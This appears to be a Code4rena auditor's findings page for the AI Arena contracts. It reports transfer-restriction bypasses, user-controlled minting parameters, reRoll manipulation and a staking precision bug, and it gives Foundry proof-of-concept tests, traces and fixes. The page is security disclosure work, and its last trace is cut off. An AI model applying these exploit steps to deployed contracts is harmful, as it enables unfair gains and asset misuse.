Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 34/283
Findings: 11
Award: $178.73
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539-L546 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L159-L162
The protocol is intended to only allow users to transfer his fighters when complying with the following conditions:
These conditions are checked before the transferFrom(address, address, uint256)
and safeTransferFrom(address, address, uint256)
functions via _ableToTransfer()
.
function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && balanceOf(to) < MAX_FIGHTERS_ALLOWED && !fighterStaked[tokenId] ); }
However, this condition can be bypassed because the ERC721 contract from OpenZeppelin has 3 methods to send and NFT between addresses. This function has the same name safeTransferFrom but with an extra bytes argument.
With this method, a user can transfer a fighter without complying this conditions. The potential implications of this are the following:
dailyAllowance
of a game item and buy as many of them as he wants. That is because the allowanceRemaining
is attached to the address and the token ID of the fighter, hence since the user can transfer his fighter to alter accounts, these ones will be able to buy the daily quantity of that game item.The following proofs of concepts are executed using the RankedBattle.t.sol
setup
Proof of concept for the invariant breaking of having more than 10 fighters
function testAnAddressCanHaveMoreThan10Fighters() public { address user1 = makeAddr("user1"); address user2 = makeAddr("user2"); for(uint256 i; i < 10; i++){ _mintFromMergingPool(user1); } for(uint256 i; i < 10; i++){ _mintFromMergingPool(user2); } assertEq(_fighterFarmContract.balanceOf(user1), 10); assertEq(_fighterFarmContract.balanceOf(user2), 10); vm.startPrank(user1); for(uint256 i; i < 10; i++){ _fighterFarmContract.safeTransferFrom(user1, user2, i, ""); } vm.stopPrank(); assertEq(_fighterFarmContract.balanceOf(user2), 20); }
Output
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testAnAddressCanHaveMoreThan10Fighters() (gas: 7967800) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.43ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Proof of concept for unlimited amount of voltage for free
function testPOCUnlimitedAmountOfVoltage() public { address playerMainAccount = makeAddr("main account"); address playerAlterAccount = makeAddr("alter account"); _mintFromMergingPool(playerMainAccount); _fundUserWith4kNeuronByTreasury(playerMainAccount); vm.prank(playerMainAccount); _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0); vm.startPrank(address(_GAME_SERVER_ADDRESS)); // The player initiates 10 battles for(uint256 i; i < 10; i++){ _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); } // At this point the user would have to either wait a day or user a VoltageBattery vm.expectRevert(); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); vm.stopPrank(); // However, if the player transfers the fighter to an alter account, can initiate more battle for free vm.prank(playerMainAccount); // This is the only method that allows the transfer of the NFT, because the other methods are restricted _fighterFarmContract.safeTransferFrom(playerMainAccount, playerAlterAccount, 0, ""); // Now the fighter can initiate 10 more fights vm.startPrank(address(_GAME_SERVER_ADDRESS)); for(uint256 i; i < 10; i++){ _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); } vm.stopPrank(); }
Output
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testPOCUnlimitedAmountOfVoltage() (gas: 1294511) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.18ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
Add the _ableToTransfer()
check in safeTransferFrom(address, address, uint256, bytes)
function.
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override(ERC721, IERC721) { require(_ableToTransfer(tokenId, to)); _safeTransfer(from, to, tokenId, ""); }
ERC721
#0 - c4-pre-sort
2024-02-23T05:17:03Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:17:15Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:46:19Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303
Game items have a property that determines wheather can be transfered or not.
struct GameItemAttributes { string name; bool finiteSupply; @> bool transferable; uint256 itemsRemaining; uint256 itemPrice; uint256 dailyAllowance; }
This property is checked each time a user tries to call the function safeTransferFrom
that is overriden from the OpenZeppelin ERC1155 contract.
function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override(ERC1155) { require(allGameItemAttributes[tokenId].transferable); super.safeTransferFrom(from, to, tokenId, amount, data); }
However, this contract has an additional method to transfer ERC1155 tokens. This function is the safeBatchTransferFrom
.
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory values, bytes memory data ) public virtual { address sender = _msgSender(); if (from != sender && !isApprovedForAll(from, sender)) { revert ERC1155MissingApprovalForAll(sender, from); } _safeBatchTransferFrom(from, to, ids, values, data); }
Since this function is not overriden by the contract it does not check if the item is transferable or not. As a result, non-transferable items will still be transferable via this method.
This test uses the setup from the GameItems.t.sol
function testPOCNonTransferableItemsAreTransferable() public { address user = makeAddr("user"); uint256 gameItemId = 0; _fundUserWith4kNeuronByTreasury(user); vm.prank(user); _gameItemsContract.mint(gameItemId, 1); vm.prank(_ownerAddress); _gameItemsContract.adjustTransferability(gameItemId, false); (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(gameItemId); // Check that transferability for this game item is false assertEq(transferable, false); vm.startPrank(user); // Using safeTransferFrom it is not possible to transfer the game item vm.expectRevert(); _gameItemsContract.safeTransferFrom(user, address(0xdead), gameItemId, 1, ""); // However, using safeBatchTransferFrom it is possible to transfer the game item uint256[] memory ids = new uint256[](1); ids[0] = gameItemId; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(user, address(0xdead), ids, amounts, ""); vm.stopPrank(); }
Output traces
Running 1 test for test/GameItems.t.sol:GameItemsTest [PASS] testPOCNonTransferableItemsAreTransferable() (gas: 190440) Traces: [190440] GameItemsTest::testPOCNonTransferableItemsAreTransferable() ββ [0] VM::addr(91992087827031385529631343486145185708010358789693783908930804305590475009462 [9.199e76]) [staticcall] β ββ β user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D] ββ [0] VM::label(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], "user") β ββ β () ββ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) β ββ β () ββ [29938] Neuron::transfer(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 4000000000000000000000 [4e21]) β ββ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], value: 4000000000000000000000 [4e21]) β ββ β true ββ [586] Neuron::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall] β ββ β 4000000000000000000000 [4e21] ββ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) β ββ β () ββ [109720] GameItems::mint(0, 1) β ββ [586] Neuron::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall] β β ββ β 4000000000000000000000 [4e21] β ββ [26933] Neuron::approveSpender(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1000000000000000000 [1e18]) β β ββ emit Approval(owner: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], spender: GameItems: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1000000000000000000 [1e18]) β β ββ β () β ββ [4759] Neuron::transferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000 [1e18]) β β ββ emit Approval(owner: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], spender: GameItems: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 0) β β ββ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000 [1e18]) β β ββ β 0x0000000000000000000000000000000000000000000000000000000000000001 β ββ emit TransferSingle(operator: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], id: 0, value: 1) β ββ emit BoughtItem(buyer: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0, quantity: 1) β ββ β () ββ [0] VM::prank(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β () ββ [6908] GameItems::adjustTransferability(0, false) β ββ emit Locked(tokenId: 0) β ββ β () ββ [4214] GameItems::allGameItemAttributes(0) [staticcall] β ββ β "Battery", true, false, 9999, 1000000000000000000 [1e18], 10 ββ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) β ββ β () ββ [0] VM::expectRevert(custom error f4844814:) β ββ β () ββ [1314] GameItems::safeTransferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0x000000000000000000000000000000000000dEaD, 0, 1, 0x) β ββ β EvmError: Revert ββ [25554] GameItems::safeBatchTransferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0x000000000000000000000000000000000000dEaD, [0], [1], 0x) β ββ emit TransferBatch(operator: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x000000000000000000000000000000000000dEaD, ids: [0], values: [1]) β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ β () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.42ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
Override the safeBatchTransferFrom
function from the ERC1155 contract in order to comply with the transferability parameter.
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public override(ERC1155) { for(uint256 i; i < ids.length; i++){ require(allGameItemAttributes[ids[i]].transferable); } super.safeBatchTransferFrom(from, to, ids, amounts, data); }
Error
#0 - c4-pre-sort
2024-02-22T04:10:55Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:11:02Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:54Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:55:37Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262
As stated by sponsor, iconType
are unusual items that fighters can have when users obtained them in a really early stage. Thus only these early adopters should have these items. As we can see in claimFighters
as well as mintFromMergingPool
creates new fighters hardcoding this field to 0. That means that there is no possibility to have an icon from these functions.
function claimFighters( uint8[2] calldata numToMint, bytes calldata signature, string[] calldata modelHashes, string[] calldata modelTypes ) external { ... for (uint16 i = 0; i < totalToMint; i++) { _createNewFighter( msg.sender, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHashes[i], modelTypes[i], i < numToMint[0] ? 0 : 1, @> 0, // IconType hardcoded to 0 [uint256(100), uint256(100)] ); } } function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, @> 0, // IconType hardcoded to 0 customAttributes ); }
However, if a user creates a fighter via redeemMintPass
he can mint all his fighters with the iconType
that he wants because it is directly passed from the arguments that the user provides.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, @> uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], @> iconsTypes[i], [uint256(100), uint256(100)] ); } }
Manual review
Do not allow the user to add iconType
for the fighters he want to mint. It should be determined by the protocol to only give these items to early adopters. Maybe it could be computed in the tokenURI when the mintPass is created and checked in this function to determine wheather or not the fighter can have an iconType
.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, - uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], - iconsTypes[i], + 0, [uint256(100), uint256(100)] ); } }
Error
#0 - c4-pre-sort
2024-02-22T07:53:29Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:53:38Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:37Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:13:06Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262
When someone mints a pass from AAMintPass
, the number of fighters of each type to mint is determined by the signature provided. Hence, the offchain service will constrain the amount of each fighter to mint.
function claimMintPass( @> uint8[2] calldata numToMint, bytes calldata signature, string[] calldata _tokenURIs ) external { require(!mintingPaused); bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, @> numToMint[0], @> numToMint[1], passesClaimed[msg.sender][0], passesClaimed[msg.sender][1], _tokenURIs ))); require(Verification.verify(msgHash, signature, delegatedAddress)); uint16 totalToMint = uint16(numToMint[0] + numToMint[1]); require(_tokenURIs.length == totalToMint); passesClaimed[msg.sender][0] += numToMint[0]; passesClaimed[msg.sender][1] += numToMint[1]; for (uint16 i = 0; i < totalToMint; i++) { createMintPass(msg.sender, _tokenURIs[i]); } }
However, when redeeming these mint passes, the user can determine the fighterType
for the NFTs he is going to mint. Thus, it makes no sense to control the amount of fighters to mint of each type with the signature because afterwards the user will be able to mint the fighters with the type he wishes.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, @> uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], @> modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
Manual review
Do not allow the user to pass arbitrary fighterType
for the fighters he want to mint. It should be computed in the tokenURI when the mintPass is created and checked in this function to determine the fighterType
for the NFT to mint.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, - uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], - modelTypes[i], // this should be extracted from the tokenURI of the mintPass fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
Error
#0 - c4-pre-sort
2024-02-22T07:54:06Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:54:13Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:38Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:13:21Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370-L391
It is possible to call reRoll()
function with an arbitrary fighterType
even though it does not match with the fighter that you own. This involve the following:
Imagine that maxRerollsAllowed[0] = 3
and maxRerollsAllowed[1] = 5
. If a user has a fighter with type 0, he should only be allowed to reroll 3 times. However, he can pass fighterType
as 1 and he now could reroll up to 5 times.
The function to determine the element
, weight
and dna
depends on the fighterType
, that means that a user could provide this parameter for his own benefit.
When providing a fighterType
that does not match with the tokenId, the generation for the fighter will change to the current generation for the fighterType
provided.
Eg: generation[0] = 10
and generation[1] = 20
, if a user has a fighter type 0 and rerolls passing fighterType
equal to 1, now his fighter will be of the 20th generation.
Manual review
Rerolling should not involve passing as argument the fighterType
and should obtain it instead from the current stats.
- function reRoll(uint8 tokenId, uint8 fighterType) public { + function reRoll(uint8 tokenId) public { + uint8 fighterType = fighters[tokenId].dendroidBool ? 1 : 0; require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));beneficial address (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
Invalid Validation
#0 - c4-pre-sort
2024-02-22T01:49:38Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T01:49:45Z
raymondfam marked the issue as duplicate of #306
#2 - c4-judge
2024-03-05T04:33:47Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L519-L535
To calculate the staking factor it is intended to be the square root of the amount of NRN staked. However since the order of computing the result is first converting the amount staked into NRN tokens by dividing by 10**18 and then doing the square root of that, there is a huge precision loss along the way. The computation also has a check to have a minimum value of 1 for the staking factor. This feature enable users to deposit 1 wei and get the exact same staking factor as someone who has staked 3_999999999999999999 NRN.
The proper way to not lose precision along the way would be the following procedure:
I'm going to proof that a user depositing 1 wei can get the same staking factor as an other depositing 3_999999999999999999 NRN
function testPOCStaking1Wei() public { address staker1 = vm.addr(3); address staker2 = vm.addr(4); _mintFromMergingPool(staker1); _mintFromMergingPool(staker2); _fundUserWith4kNeuronByTreasury(staker1); _fundUserWith4kNeuronByTreasury(staker2); vm.prank(staker1); _rankedBattleContract.stakeNRN(3_999999999999999999, 0); vm.prank(staker2); _rankedBattleContract.stakeNRN(1, 1); assertEq(_rankedBattleContract.stakingFactor(0), _rankedBattleContract.stakingFactor(1)); }
Output traces
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testPOCStaking1Wei() (gas: 1192619) Traces: [1192619] RankedBattleTest::testPOCStaking1Wei() ββ [0] VM::addr(3) [staticcall] β ββ β 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 ββ [0] VM::addr(4) [staticcall] β ββ β 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718 ββ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e]) β ββ β () ββ [411521] FighterFarm::mintFromMergingPool(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, "_neuralNetHash", "original", [1, 80]) β ββ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall] β β ββ β FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 }) β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 0) β ββ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall] β β ββ emit FighterCreated(id: 0, weight: 80, element: 1, generation: 0) β β ββ β () β ββ β () ββ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e]) β ββ β () ββ [405617] FighterFarm::mintFromMergingPool(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, "_neuralNetHash", "original", [1, 80]) β ββ [33083] AiArenaHelper::createPhysicalAttributes(15922139144508970251921684488907098986457820697341325828661115104427342081671 [1.592e76], 0, 0, false) [staticcall] β β ββ β FighterPhysicalAttributes({ head: 2, eyes: 1, mouth: 2, body: 2, hands: 1, feet: 4 }) β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 1) β ββ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall] β β ββ emit FighterCreated(id: 1, weight: 80, element: 1, generation: 0) β β ββ β () β ββ β () ββ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) β ββ β () ββ [29938] Neuron::transfer(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 4000000000000000000000 [4e21]) β ββ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, value: 4000000000000000000000 [4e21]) β ββ β true ββ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall] β ββ β 4000000000000000000000 [4e21] ββ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) β ββ β () ββ [25138] Neuron::transfer(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 4000000000000000000000 [4e21]) β ββ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, value: 4000000000000000000000 [4e21]) β ββ β true ββ [586] Neuron::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall] β ββ β 4000000000000000000000 [4e21] ββ [0] VM::prank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) β ββ β () ββ [174270] RankedBattle::stakeNRN(3999999999999999999 [3.999e18], 0) β ββ [581] FighterFarm::ownerOf(0) [staticcall] β β ββ β 